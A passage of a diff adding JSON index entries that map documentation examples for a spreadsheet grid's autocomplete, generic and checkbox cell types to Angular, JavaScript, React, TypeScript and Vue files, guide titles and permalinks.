"guides/cell-types/autocomplete-cell-type/angular/example1.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example1.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example1.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example1.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example1.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example2.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example2", + "exampleTitle": "Autocomplete strict mode", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example2.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example2", + "exampleTitle": "Autocomplete strict mode", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example2.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example2", + "exampleTitle": "Autocomplete strict mode", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example2.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example2", + "exampleTitle": "Autocomplete strict mode", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example2.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example2", + "exampleTitle": "Autocomplete strict mode", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example3.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example3", + "exampleTitle": "Autocomplete strict mode (Ajax)", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example3.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example3.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example3", + "exampleTitle": "Autocomplete strict mode (Ajax)", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example3.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example3.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example3", + "exampleTitle": "Autocomplete strict mode (Ajax)", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example3.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example3", + "exampleTitle": "Autocomplete strict mode (Ajax)", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example3.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example3.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example3", + "exampleTitle": "Autocomplete strict mode (Ajax)", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example4.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example4", + "exampleTitle": "Array of values", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example4.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example4.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example4", + "exampleTitle": "Array of values", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example4.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example4.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example4", + "exampleTitle": "Array of values", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example4.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example4", + "exampleTitle": "Array of values", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example4.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example4.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example4", + "exampleTitle": "Array of values", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example5.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example5.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example5", + "exampleTitle": "Array of objects", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example5.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example5.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example5", + "exampleTitle": "Array of objects", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example5.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example5.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example5", + "exampleTitle": "Array of objects", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example5.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example5", + "exampleTitle": "Array of objects", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example5.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example5.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example5", + "exampleTitle": "Array of objects", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example6.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example6.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example6", + "exampleTitle": "The filter option", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example6.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example6.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example6", + "exampleTitle": "The filter option", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example6.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example6.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example6", + "exampleTitle": "The filter option", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example6.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example6", + "exampleTitle": "The filter option", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example6.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example6.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example6", + "exampleTitle": "The filter option", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example7.ts", + "file": "guides__cell-types__autocomplete-cell-type__angular__example7.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example7", + "exampleTitle": "The filteringCaseSensitive option", + "docPermalink": "/autocomplete-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example7.js", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example7.js.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example7", + "exampleTitle": "The filteringCaseSensitive option", + "docPermalink": "/autocomplete-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/react/example7.tsx", + "file": "guides__cell-types__autocomplete-cell-type__react__example7.tsx.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example7", + "exampleTitle": "The filteringCaseSensitive option", + "docPermalink": "/autocomplete-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example7.ts", + "file": "guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example7", + "exampleTitle": "The filteringCaseSensitive option", + "docPermalink": "/autocomplete-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example7.vue", + "file": "guides__cell-types__autocomplete-cell-type__vue__example7.vue.json", + "breadcrumb": [ + "Cell Types", + "Autocomplete cell type" + ], + "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", + "guideTitle": "Autocomplete cell type", + "exampleId": "example7", + "exampleTitle": "The filteringCaseSensitive option", + "docPermalink": "/autocomplete-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/angular/example1.ts", + "file": "guides__cell-types__cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/javascript/example1.js", + "file": "guides__cell-types__cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/react/example1.tsx", + "file": "guides__cell-types__cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/javascript/example1.ts", + "file": "guides__cell-types__cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/vue/example1.vue", + "file": "guides__cell-types__cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/angular/example2.ts", + "file": "guides__cell-types__cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example2", + "exampleTitle": "Empty cells", + "docPermalink": "/cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/javascript/example2.js", + "file": "guides__cell-types__cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example2", + "exampleTitle": "Empty cells", + "docPermalink": "/cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/react/example2.tsx", + "file": "guides__cell-types__cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example2", + "exampleTitle": "Empty cells", + "docPermalink": "/cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/javascript/example2.ts", + "file": "guides__cell-types__cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example2", + "exampleTitle": "Empty cells", + "docPermalink": "/cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/cell-type/vue/example2.vue", + "file": "guides__cell-types__cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "Cell type" + ], + "guide": "guides/cell-types/cell-type/cell-type.md", + "guideTitle": "Cell type", + "exampleId": "example2", + "exampleTitle": "Empty cells", + "docPermalink": "/cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/angular/example1.ts", + "file": "guides__cell-types__checkbox-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/checkbox-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example1.js", + "file": "guides__cell-types__checkbox-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/checkbox-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/react/example1.tsx", + "file": "guides__cell-types__checkbox-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/checkbox-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example1.ts", + "file": "guides__cell-types__checkbox-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/checkbox-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/vue/example1.vue", + "file": "guides__cell-types__checkbox-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/checkbox-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/angular/example2.ts", + "file": "guides__cell-types__checkbox-cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example2", + "exampleTitle": "Checkbox template", + "docPermalink": "/checkbox-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example2.js", + "file": "guides__cell-types__checkbox-cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example2", + "exampleTitle": "Checkbox template", + "docPermalink": "/checkbox-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/react/example2.tsx", + "file": "guides__cell-types__checkbox-cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example2", + "exampleTitle": "Checkbox template", + "docPermalink": "/checkbox-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example2.ts", + "file": "guides__cell-types__checkbox-cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example2", + "exampleTitle": "Checkbox template", + "docPermalink": "/checkbox-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/vue/example2.vue", + "file": "guides__cell-types__checkbox-cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example2", + "exampleTitle": "Checkbox template", + "docPermalink": "/checkbox-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/angular/example3.ts", + "file": "guides__cell-types__checkbox-cell-type__angular__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example3", + "exampleTitle": "Checkbox labels", + "docPermalink": "/checkbox-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example3.js", + "file": "guides__cell-types__checkbox-cell-type__javascript__example3.js.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example3", + "exampleTitle": "Checkbox labels", + "docPermalink": "/checkbox-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/react/example3.tsx", + "file": "guides__cell-types__checkbox-cell-type__react__example3.tsx.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example3", + "exampleTitle": "Checkbox labels", + "docPermalink": "/checkbox-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example3.ts", + "file": "guides__cell-types__checkbox-cell-type__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example3", + "exampleTitle": "Checkbox labels", + "docPermalink": "/checkbox-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/vue/example3.vue", + "file": "guides__cell-types__checkbox-cell-type__vue__example3.vue.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example3", + "exampleTitle": "Checkbox labels", + "docPermalink": "/checkbox-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/angular/example4.ts", + "file": "guides__cell-types__checkbox-cell-type__angular__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example4", + "exampleTitle": "Label value as a function", + "docPermalink": "/checkbox-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example4.js", + "file": "guides__cell-types__checkbox-cell-type__javascript__example4.js.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example4", + "exampleTitle": "Label value as a function", + "docPermalink": "/checkbox-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": 